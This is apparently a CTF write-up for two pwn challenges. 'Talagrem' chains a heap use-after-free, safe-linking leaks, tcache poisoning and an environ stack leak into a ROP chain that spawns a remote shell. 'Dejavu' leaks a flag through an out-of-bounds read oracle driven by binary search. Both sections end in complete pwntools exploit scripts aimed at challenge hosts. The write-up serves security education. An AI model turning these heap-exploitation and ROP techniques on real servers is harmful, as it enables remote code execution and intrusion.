# Wannagame Championship
## Talagrem - server
> Heap UAF + safe-linking leak → tcache poisoning → arbitrary read libc leak → `environ` stack leak → arbitrary write to stack → ROP to `system("/bin/sh")`.
---
### TL;DR
- The program is a Telegram-like messaging application with client-server architecture. Users can register, login, update details, send messages, and delete accounts.
- **Bug 1 — UAF in delete_account:** `delete_account` frees `user->details`, `user`, and `Users_list_t` but only nulls the pointer for the current connection. Other connections still hold references to freed chunks → **UAF**.
- **Heap leak:** During `register`/`login`, server allocates `0x450` buffer that goes to unsorted bin. `update_details` with 8 bytes overwrites unsorted bin `fd` pointer. `get_details` reads this pointer to leak **heap base**.
- **Tcache poisoning:** Using UAF edit on a freed `details` chunk, rewrite the chunk with controlled data. When the chunk is reused, we control the allocation.
- **Libc leak:** The bot's heap (first custom heap) contains pointer to libc `main_arena`. Use arbitrary read to read from bot's heap and compute **libc base**.
- **Stack leak:** Poison `details` to `libc.sym.environ` and read a stack pointer via `get_details`.
- **Arbitrary write to stack:** Poison `details` to a stack address near saved RIP and write a **ROP** chain: `dup2` to redirect stdin/stdout/stderr, then `system("/bin/sh")` → shell.
---
### Challenge overview
#### Data Structures
```c
// app_structs.h
struct User {
char username[0x20]; // 32 bytes
char password[0x20]; // 32 bytes
unsigned int logged_in; // 4 bytes
unsigned int vip; // 4 bytes
char * details; // 8 bytes (pointer to allocated chunk)
};
struct Users_list {
Users_list_t * next; // 8 bytes
User_t * user; // 8 bytes (pointer to User_t)
};
```
- **Object layout:** Each user has `username[0x20]`, `password[0x20]`, `logged_in`, `vip`, and `details` (pointer to allocated chunk of size `DETAILS_MAX_SIZE + 0x10 = 0x210`).
- **Menu:** Register, Login, Update Details, Get Details, Send Message, Delete Account.
- **Protections:** NX on, ASLR on, glibc safe-linking. Server-side exploitation.
---
#### Exploit
#### 1. Heap base leak via unsorted bin fd overwrite
```python
register(io, b'hn1106', b'hn1106')
login(io, b'hn1106', b'hn1106')
update(io, 8, cyclic(8))
get_details(io)
io.recvuntil(cyclic(8))
heap = u64(io.recv(8)) - 0x90
```
**How it works:**
##### Step 1: Register/Login Allocate Temporary Buffer
When we send `register`/`login` with size `0x440`, the server processes it:
```c
// server.h:77-113
int read_event_from_client(int fd, Event_t * event)
{
unsigned int magic = 0;
if (read_from_client(fd, &magic, 4) || magic != MAGIC) {
// ... error handling ...
}
unsigned int size = 0;
if (read_from_client(fd, &size, 4)) {
// ... error handling ...
}
char * buffer = (char *)malloc(size + 0x10); // malloc(0x440 + 0x10) = 0x450
memset(buffer, 0, size + 0x10);
if (read_from_client(fd, buffer, size)) {
// ... error handling ...
free(buffer);
return EXIT_FAILURE;
}
if(buff_to_event(buffer, event)) {
// ... error handling ...
free(buffer);
return EXIT_FAILURE;
}
free(buffer); // ← Buffer freed here, goes to unsorted bin
return 0;
}
```
- Server allocates: `malloc(0x440 + 0x10) = 0x450` bytes for the event buffer.
- After processing, this buffer is freed and goes to **unsorted bin** (size too large for tcache/fastbin).
##### Step 2: Custom Heap Per Connection
The server uses **custom heap** for each connection:
- Each connection has its own heap with separate tcache bins and unsorted bin.
- The **first custom heap** (bot's heap) contains a pointer to libc `main_arena`.
- Subsequent heaps link to previous heaps' unsorted bins (not libc).
- Unsorted bin `fd`/`bk` point to heap regions, not libc.
**Heap Layout:**
```
Connection 1 (Bot - first heap):
[unsorted bin] → points to libc main_arena (ONLY connection to libc)
Connection 2 (io):
[unsorted bin] → points to Connection 1's unsorted bin (heap-to-heap link)
Connection 3 (io3):
[unsorted bin] → points to Connection 2's unsorted bin
Connection 4 (io2):
[unsorted bin] → points to Connection 3's unsorted bin
```
##### Step 3: Update Overwrites Unsorted Bin FD
```c
// server.c:175-184
case CLIENT_UPDATE_DETAILS:
if (clients[index].user == NULL) {
printf("Unauthorized update details attempt\n");
return EXIT_FAILURE;
}
if (clients[index].user->details == NULL)
clients[index].user->details = (char *)malloc(DETAILS_MAX_SIZE + 0x10);
memcpy(clients[index].user->details, event->data,
event->size > DETAILS_MAX_SIZE ? DETAILS_MAX_SIZE : event->size);
break;
```
```python
update(io, 8, cyclic(8)) # Send 8 bytes
```
**What happens:**
- `update_details` allocates a small chunk (8 bytes + metadata).
- This chunk might reuse the freed `0x450` buffer from unsorted bin.
- We write 8 bytes, which **overwrites the `fd` pointer** of the unsorted bin chunk.
- The `fd` now points to a heap region (not libc).
**Heap State:**
```
[0x450 chunk in unsorted bin]
fd = cyclic(8) (overwritten!) → points to heap region
bk = original heap pointer
```
##### Step 4: Leak via get_details
```c
// server.c:185-204
case CLIENT_GET_DETAILS:
if (clients[index].user == NULL) {
printf("Unauthorized get details attempt\n");
return EXIT_FAILURE;
}
if (clients[index].user->details == NULL) {
printf("No details available for user\n");
return EXIT_FAILURE;
}
Event_t details_event = {0};
details_event.type = SERVER_EVENT | SERVER_RETURN_DETAILS |
(clients[index].user->vip ? VIP_BUFFER : DEF_BUFFER);
details_event.size = DETAILS_MAX_SIZE; // 0x200
details_event.data = clients[index].user->details; // Points to our controlled chunk
if (send_event_to_client(clients[index].fd, &details_event)) {
// ... error handling ...
}
break;
```
```python
get_details(io)
io.recvuntil(cyclic(8))
heap = u64(io.recv(8)) - 0x90
```
- `get_details` reads `0x200` bytes from `user->details`.
- The read includes the overwritten unsorted bin `fd` pointer.
- We leak a heap pointer and calculate heap base: `heap = leak - 0x90`.
---
#### 2. Create UAF condition with multiple connections
```python
io3 = connect(HOST, PORT)
register(io3, b'hn1106x', b'hn1106x')
login(io3, b'hn1106x', b'hn1106x')
update(io3, 8, cyclic(8))
io2 = connect(HOST, PORT)
login(io2, b'hn1106x', b'hn1106x') # Same user as io3
delete(io2) # Free but io3 still has reference
```
**UAF Condition:**
##### Login with Multiple Connections
```c
// server.c:302-314
int login_user(User_t * user, int index)
{
Users_list_t * found_user = find_user(user);
if (found_user && (found_user->user->logged_in == 0 || found_user->user->vip == 1))
{
clients[index].user = found_user->user; // ← Both io2 and io3 point to same User_t
clients[index].user->logged_in = 1;
return 0;
}
// ... error handling ...
}
```
- `io3` and `io2` both point to the same `User_t` object.
##### Delete Account - UAF Bug
```c
// server.c:206-228
case CLIENT_DELETE_ACCOUNT:
if (clients[index].user == NULL) {
printf("Unauthorized delete account attempt\n");
return EXIT_FAILURE;
}
Users_list_t * prev = NULL;
for (Users_list_t * curr = users; curr != NULL; curr = curr->next)
if (curr->user == clients[index].user)
{
if (prev == NULL)
users = curr->next;
else
prev->next = curr->next;
free(curr->user->details); // ← Free details chunk
free(curr->user); // ← Free User_t
free(curr); // ← Free Users_list_t
clients[index].user = NULL; // ← Only nulls pointer for io2!
break;
}
break;
```
- `delete(io2)` frees:
- `user->details` chunk
- `User_t` structure
- `Users_list_t` structure
- But `clients[index2].user = NULL` only sets the pointer for `io2`.
- `io3` still holds a reference to the freed `User_t` → **UAF**.
**Memory State:**
```
Connection io3:
clients[index3].user → [User_t] (FREED but still referenced)
Connection io2:
clients[index2].user = NULL (set after delete)
Memory:
[User_t] - FREED but io3->user still points here
[details] - FREED but io3->user->details still points here
```
---
#### 3. Heap poisoning via UAF edit
```python
login(io2, b'hn1106', b'hn1106')
delete(io2) # Free user 'hn1106' details chunk
# io still has reference to user 'hn1106' (freed)
update(io, 8, p64((heap+0xbc0) ^ (heap >> 12)))
```
**Heap Poisoning:**
- `io` still has a reference to user 'hn1106' (which was freed).
- We use `update_details` on the freed `details` chunk.
- We write a mangled heap pointer: `(heap+0xbc0) ^ (heap >> 12)`.
**Why XOR with `heap >> 12`?**
- Glibc 2.32+ uses **safe-linking** (pointer encryption): `ptr ^ (heap_base >> 12)`.
- We need to XOR to bypass this protection when writing to freed chunks.
**Heap State:**
```
[details chunk] - FREED but io->user->details still points here
[mangled pointer] = (heap+0xbc0) ^ (heap >> 12)
```
---
#### 4. Tcache poisoning → arbitrary read
```python
register(io2, b'hn1106y', b'hn1106y')
login(io2, b'hn1106y', b'hn1106y')
update(io2, 8, cyclic(8))
register(io2, b'hn1106z', b'hn1106z')
login(io2, b'hn1106z', b'hn1106z')
update(io2, 0x20, cyclic(0x18) + p64(heap+0x8a0), s=0x28)
```
**Arbitrary Read Setup:**
- We allocate new users to create heap layout.
- For user 'hn1106z', we use `update` with size `0x28` (larger than normal).
- We write `p64(heap+0x8a0)` to control where `user->details` points.
- Now `io->user->details` points to `heap+0x8a0` (an arbitrary location).
**Code:**
```c
// server.c:181-183
if (clients[index].user->details == NULL)
clients[index].user->details = (char *)malloc(DETAILS_MAX_SIZE + 0x10);
memcpy(clients[index].user->details, event->data,
event->size > DETAILS_MAX_SIZE ? DETAILS_MAX_SIZE : event->size);
```
When we control `user->details` pointer, `memcpy` writes to our controlled address, and `get_details` reads from it.
---
#### 5. Libc leak via bot's heap (heap2)
```python
get_details(io)
io.recv(0x200)
time.sleep(0.2)
io.recv(0x10)
heap2 = u64(io.recv(8)) - 0x30 # This is bot's heap
# Adjust pointer to read from bot's heap
update(io2, 0x20, cyclic(0x18) + p64(heap2+0x8a0), s=0x28)
get_details(io)
io.recv(0x200)
time.sleep(0.2)
io.recv(0x10)
libc.address = u64(io.recv(8)) - 0x0000000000203ac0
```
**Libc Leak:**
##### Custom Heap Structure
- The **first custom heap** (bot's heap) contains a pointer to libc `main_arena`.
- Subsequent heaps link to previous heaps' unsorted bins.
- `heap2` is actually the **bot's heap** (allocated when server starts with bot_id).
##### Arbitrary Read to Bot's Heap
- First `get_details` gives us `heap2` (bot's heap address).
- We adjust the `details` pointer to `heap2+0x8a0`.
- Second `get_details` reads from bot's heap where `main_arena` pointer is stored.
- Offset `0x203ac0` is the offset to `main_arena` in libc.
- Calculate `libc.address = main_arena_ptr - 0x203ac0`.
**Why bot's heap?**
- The bot's heap is the first custom heap created.
- It contains the link to libc's `main_arena` (the only connection to libc).
- Other heaps only link to each other, not to libc.
---
#### 6. Stack leak via environ
```python
update(io2, 0x20, cyclic(0x18) + p64(libc.sym.environ), s=0x28)
get_details(io)
io.recvuntil(p32(0xbeef1337))
io.recv(12)
stack = u64(io.recv(8))
```
**Stack Leak:**
- `libc.sym.environ` points to the `environ` variable in libc.
- `environ` contains a pointer to the environment variables on the stack.
- We poison `details` to point to `libc.sym.environ`.
- `get_details` reads from there, giving us a stack pointer.
- We parse the response (skip magic `0xbeef1337`, size, event type) and read the stack address.
**Response Format:**
```
[MAGIC: 0xbeef1337] (4 bytes)
[Size] (4 bytes)
[Event Type] (4 bytes)
[Stack Pointer] (8 bytes) ← We read this
```
---
#### 7. Arbitrary write to stack → ROP chain
```python
# Calculate return address location
update(io2, 0x20, cyclic(0x18) + p64(stack-0x2b8), s=0x28)
get_details(io)
io.recvuntil(p32(0xbeef1337))
io.recv(12)
stack2 = u64(io.recv(8))
update(io2, 0x20, cyclic(0x18) + p64(stack2-0xb88), s=0x28)
# Build ROP chain
rop = ROP(libc)
rop.call('dup2', [6, 0]) # Redirect stdin
rop.call('dup2', [6, 1]) # Redirect stdout
rop.call('dup2', [6, 2]) # Redirect stderr
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
# Write ROP chain to stack
update(io, len(rop.chain()), rop.chain(), s=len(rop.chain()) + 8)
```
**ROP Chain:**
- We calculate the saved return address location on the stack (by reading and adjusting).
- We poison `details` to point to the saved return address.
- We build a ROP chain:
1. `dup2(6, 0/1/2)` - Redirect stdin/stdout/stderr to socket fd (6).
2. `system("/bin/sh")` - Execute shell.
- We write the ROP chain using `update_details`.
- When the function returns, it executes our ROP chain → shell.
**Why dup2?**
- The program runs on a server, so stdin/stdout/stderr are not connected to our terminal.
- We need to redirect them to the socket file descriptor (6) so we can interact with the shell.
---
### Final solve (exploit script)
```python
from pwn import *
import time
HOST = "challenge.cnsc.com.vn"
PORT = 30760
libc = context.binary = ELF("libc.so.6")
io = connect(HOST, PORT)
def send_event_to_server(io, size, vip, data):
io.send(p32(0xbeef1337)) # MAGIC
io.send(p32(size)) # Event size
io.send(p32(vip) + data) # Event type + data
def register(io, username, password):
username += b'\x00'* (0x20 - len(username))
password += b'\x00'* (0x20 - len(password))
send_event_to_server(io, 0x440, 0x2021, p32(0x100) + username+password + p32(1)*(0x3f8//4))
def login(io, username, password):
username += b'\x00'* (0x20 - len(username))
password += b'\x00'* (0x20 - len(password))
send_event_to_server(io, 0x440, 0x2022, p32(0x100) + username+password + p32(1)*(0x3f8//4))
def delete(io):
send_event_to_server(io, 0x10, 0x2025, p32(8) + cyclic(0x8))
def update(io, size, data, s=0x10):
send_event_to_server(io, s, 0x2024, p32(size) + data)
def get_details(io):
send_event_to_server(io, 0x440, 0x2023, p32(0x400) + cyclic(0x438))
# Step 1: Heap leak
register(io, b'hn1106', b'hn1106')
login(io, b'hn1106', b'hn1106')
update(io, 8, cyclic(8))
get_details(io)
io.recvuntil(cyclic(8))
heap = u64(io.recv(8)) - 0x90
log.info(f"Heap base: {hex(heap)}")
time.sleep(2)
# Step 2: Create UAF
io3 = connect(HOST, PORT)
register(io3, b'hn1106x', b'hn1106x')
login(io3, b'hn1106x', b'hn1106x')
update(io3, 8, cyclic(8))
time.sleep(2)
io2 = connect(HOST, PORT)
login(io2, b'hn1106x', b'hn1106x')
delete(io2) # Free but io3 still has reference
time.sleep(2)
# Step 3: Heap poisoning
login(io2, b'hn1106', b'hn1106')
delete(io2)
time.sleep(2)
update(io, 8, p64((heap+0xbc0) ^ (heap >> 12))) # Poison with mangled pointer
# Step 4: Setup for arbitrary read
register(io2, b'hn1106y', b'hn1106y')
login(io2, b'hn1106y', b'hn1106y')
update(io2, 8, cyclic(8))
time.sleep(2)
register(io2, b'hn1106z', b'hn1106z')
login(io2, b'hn1106z', b'hn1106z')
update(io2, 0x20, cyclic(0x18) + p64(heap+0x8a0), s=0x28) # Control details pointer
time.sleep(2)
# Step 5: Libc leak
get_details(io)
io.recv(0x200)
time.sleep(0.2)
io.recv(0x10)
heap2 = u64(io.recv(8)) - 0x30
log.info(f"Bot's heap: {hex(heap2)}")
update(io2, 0x20, cyclic(0x18) + p64(heap2+0x8a0), s=0x28)
time.sleep(2)
get_details(io)
io.recv(0x200)
time.sleep(0.2)
io.recv(0x10)
libc.address = u64(io.recv(8)) - 0x0000000000203ac0
log.info(f"Libc base: {hex(libc.address)}")
# Step 6: Stack leak
update(io2, 0x20, cyclic(0x18) + p64(libc.sym.environ), s=0x28)
get_details(io)
io.recvuntil(p32(0xbeef1337))
io.recv(12)
stack = u64(io.recv(8))
log.info(f"Stack: {hex(stack)}")
time.sleep(2)
# Step 7: Calculate return address location
update(io2, 0x20, cyclic(0x18) + p64(stack-0x2b8), s=0x28)
get_details(io)
io.recvuntil(p32(0xbeef1337))
io.recv(12)
stack2 = u64(io.recv(8))
log.info(f"Stack2: {hex(stack2)}")
update(io2, 0x20, cyclic(0x18) + p64(stack2-0xb88), s=0x28)
time.sleep(2)
# Step 8: Write ROP chain
rop = ROP(libc)
rop.call('dup2', [6, 0])
rop.call('dup2', [6, 1])
rop.call('dup2', [6, 2])
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
update(io, len(rop.chain()), rop.chain(), s=len(rop.chain()) + 8)
# Step 9: Get shell
io.interactive()
```
---
## Dejavu - Writeup
> Out-of-bounds read via integer overflow → binary search to leak flag byte by byte.
---
### TL;DR
- The program allows reading from `doors[v1] + v2` where `v1` and `v2` are user-controlled.
- `doors` array has size 16, but `v1` can be read as `%u` (unsigned int), allowing values up to 2^32 - 1 → **out-of-bounds read**.
- The `flag` is stored right after `doors` array, starting at `doors[16]`.
- We can use out-of-bounds read to access the flag.
- The program prints different messages based on whether the read address is valid:
- "Still can't wake up..." if address is not readable
- "Run away now!!!!!!" if address is readable
- We use **binary search** on `v2` to find the exact address that makes `doors[v1] + v2` point to readable memory (`0x10000` to `0x20000`).
- Once we find the correct `v2`, we calculate the flag byte: `flag_byte = (0x10000 - v2) & 0xFF`.
- Repeat for each byte until we find the flag terminator (`}` or `\n`).
---
### Challenge Overview
#### Vulnerable Code
```c
void __noreturn trying()
{
char buf; // [rsp+Fh] [rbp-11h] BYREF
int v1; // [rsp+10h] [rbp-10h] BYREF
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
while ( 1 )
{
v1 = 0;
v2 = 0;
puts("Dejavu dream welcomes you!");
puts("Which door you want to go?");
if ( (unsigned int)__isoc99_scanf("%u", &v1) != 1 )
break;
puts("How far you wanna run from this dream?");
if ( (unsigned int)__isoc99_scanf("%u", &v2) != 1 )
{
puts("Invalid input");
exit(1);
}
puts("How can you know this is not a dream?");
if ( syscall(0, 0, (unsigned int)(unsigned __int16)doors[v1] + v2, 16) < 0 ) // read(0, buf, 16)
{
puts("Still can't wake up...");
read(0, &buf, 1u);
}
else
{
puts("Run away now!!!!!!");
}
}
puts("Invalid input");
exit(1);
}
```
We can control `v1` and `v2`. The size of `doors` is 16, but we can read `v1` as `%u` (can reach up to 2^32 - 1), so we can read 16 bytes to `doors[v1] + v2`. The `flag` stands next to `doors`, starting at `doors[16]`.
```
pwndbg> tele 0x555555558060
00:0000│ 0x555555558060 (doors) ◂— 0x3000200010000000
01:0008│ 0x555555558068 (doors+8) ◂— 0x7000600050004000
02:0010│ 0x555555558070 (doors+16) ◂— 0xb000a00090008000
03:0018│ 0x555555558078 (doors+24) ◂— 0xf000e000d000c000
04:0020│ 0x555555558080 (flag) ◂— 'W1{hehe}\n'
```
```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x10000 0x20000 rw-p 10000 0 [anon_00010]
```
When we read some bytes at an available address, the program will print "Still can't wake up...", otherwise it will print "Run away now!!!!!!". We can use this to find the flag byte by byte using binary search.
**Example:** If `doors[v1]` is `c`, because there is an available address range from `0x10000` to `0x20000`, if `v2 = 0x10000 - c`, then `doors[v1] + v2 = 0x10000` (first available address we can read data from). So our goal is to fix `v1` from `16` to the last byte of the flag and binary search `v2` from `0x10000 - 0x7e` to `0x10000 - 0x20`.
### Final solve (exploit script)
```python
from pwn import *
context.log_level = "info"
HOST = "challenge.cnsc.com.vn"
PORT = 31001
if args.LOCAL:
io = process('./dejavu')
else:
io = remote(HOST, PORT)
def guess(idx, dist, timeout=0.3):
io.sendlineafter(b"Which door you want to go?", str(idx).encode())
io.sendlineafter(b"How far you wanna run from this dream?", str(dist).encode())
io.recvuntil(b"How can you know this is not a dream?\n")
io.send(b"X")
line = io.recvline(timeout=timeout)
if line.startswith(b"Still can't wake up..."):
return False
if line == b"":
io.send(b"A" * 15)
io.recvuntil(b"Run away now!!!!!!")
return True
if b"Still can't wake up..." in line:
return False
if b"Run away now!!!!!!" in line:
return True
raise SystemExit("Unexpected response")
def leak_word(word_index, max_v2=0xFFF0):
v1 = 16 + word_index
lo, hi = 0, max_v2
found = False
best_T = None
while lo <= hi:
mid = (lo + hi) // 2
ok = guess(v1, mid)
if ok:
found = True
best_T = mid
hi = mid - 1
else:
lo = mid + 1
T = best_T
w = (0x10000 - T) & 0xFFFF
log.info(f"Leaked word: {hex(w)}")
return w
def main():
leaked = bytearray()
max_words = 32
for k in range(max_words):
w = leak_word(k)
leaked.append(w & 0xff)
leaked.append((w >> 8) & 0xff)
try:
preview = leaked.decode(errors="replace")
except:
preview = repr(leaked)
log.success(f"Leaked up to word {k}: {preview!r}")
if ord('}') in leaked:
pos = leaked.index(ord('}'))
leaked[:] = leaked[:pos+1]
break
if 0x0a in leaked:
pos = leaked.index(0x0a)
leaked[:] = leaked[:pos+1]
break
try:
flag = leaked.decode(errors="replace")
except:
flag = repr(leaked)
print("Flag:", repr(flag))
io.close()
if __name__ == "__main__":
main()
```